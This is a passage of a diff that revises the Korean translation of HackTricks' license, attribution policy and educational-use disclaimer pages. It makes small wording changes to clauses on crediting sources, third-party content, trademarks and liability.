크레딧을 부여합니다**. 원본 출처가 참조되지 않은 복사-붙여넣기된 콘텐츠가 있는 페이지를 발견하면 알려주시면 **제거하거나**, **텍스트 앞에 링크를 추가하거나**, **링크를 추가하여 다시 작성하겠습니다**. +우리는 항상 **원래 저자에게 모든 크레딧을 부여합니다**. 원본 출처가 참조되지 않은 복사-붙여넣기된 콘텐츠가 있는 페이지를 발견하면 알려주시면 **제거**, **텍스트 앞에 링크 추가**, 또는 **링크를 추가하여 다시 작성**하겠습니다. ## LICENSE @@ -116,7 +116,7 @@ Copyright © 모든 권리 보유, 별도로 명시되지 않는 한. #### 추가 조건: -- 제3자 콘텐츠: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 다른 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용의 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적인 허가를 받습니다. 제3자 콘텐츠에 대한 특정 라이센스 정보는 원본 출처를 참조하십시오. +- 제3자 콘텐츠: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 다른 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적 허가를 받습니다. 제3자 콘텐츠에 대한 특정 라이센스 정보는 원본 출처를 참조하십시오. - 저작권: HackTricks가 저작한 원본 콘텐츠는 이 라이센스의 조건에 따릅니다. 공유하거나 수정할 때 이 작업을 저자에게 귀속시키는 것이 권장됩니다. #### 면제: @@ -125,18 +125,18 @@ Copyright © 모든 권리 보유, 별도로 명시되지 않는 한. 이 라이센스는 콘텐츠와 관련하여 상표 또는 브랜드 권리를 부여하지 않습니다. 이 블로그/책에 포함된 모든 상표 및 브랜드는 해당 소유자의 재산입니다. -**HackTricks에 접근하거나 사용함으로써 귀하는 이 라이센스의 조건을 준수하는 데 동의합니다. 이 조건에 동의하지 않으면 이 웹사이트에 접근하지 마십시오.** +**HackTricks에 접근하거나 사용함으로써 귀하는 이 라이센스의 조건을 준수할 것에 동의합니다. 이 조건에 동의하지 않으면 이 웹사이트에 접근하지 마십시오.** ## **면책 조항** > [!CAUTION] -> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 사용됩니다. 이 책의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 암시적인 어떠한 진술이나 보증도 하지 않습니다. 그러므로 귀하가 이러한 정보에 의존하는 것은 전적으로 귀하의 위험입니다. +> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 작성되었습니다. 이 책의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 묵시적인 어떠한 진술이나 보증도 하지 않습니다. 그러므로 귀하가 이러한 정보에 의존하는 것은 전적으로 귀하의 위험입니다. > -> 저자와 출판사는 데이터 손실이나 이익 손실로 인해 발생하는 모든 손실이나 손해에 대해 어떠한 경우에도 책임을 지지 않습니다. +> 저자와 출판사는 이 책의 사용으로 인해 발생하는 데이터 손실이나 이익 손실을 포함하여, 간접적이거나 결과적인 손실 또는 손해에 대해 어떠한 경우에도 책임을 지지 않습니다. > -> 또한, 이 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법 또는 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법 또는 비윤리적인 활동을 용납하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자 자신의 위험과 재량에 따라 이루어집니다. +> 또한, 이 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법적이거나 비윤리적인 활동을 용납하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자 자신의 위험과 재량에 따라 이루어집니다. > -> 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임이 있으며, 이 책에 설명된 기술이나 팁을 구현하려고 할 때 항상 전문가의 조언과 도움을 구해야 합니다. +> 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임이 있으며, 이 책에 설명된 기술이나 팁을 구현하려고 할 때는 항상 전문가의 조언과 도움을 구해야 합니다. > > 이 책을 사용함으로써 사용자는 이 책이나 그 안에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 피해에 대해 저자와 출판사를 면책하는 데 동의합니다.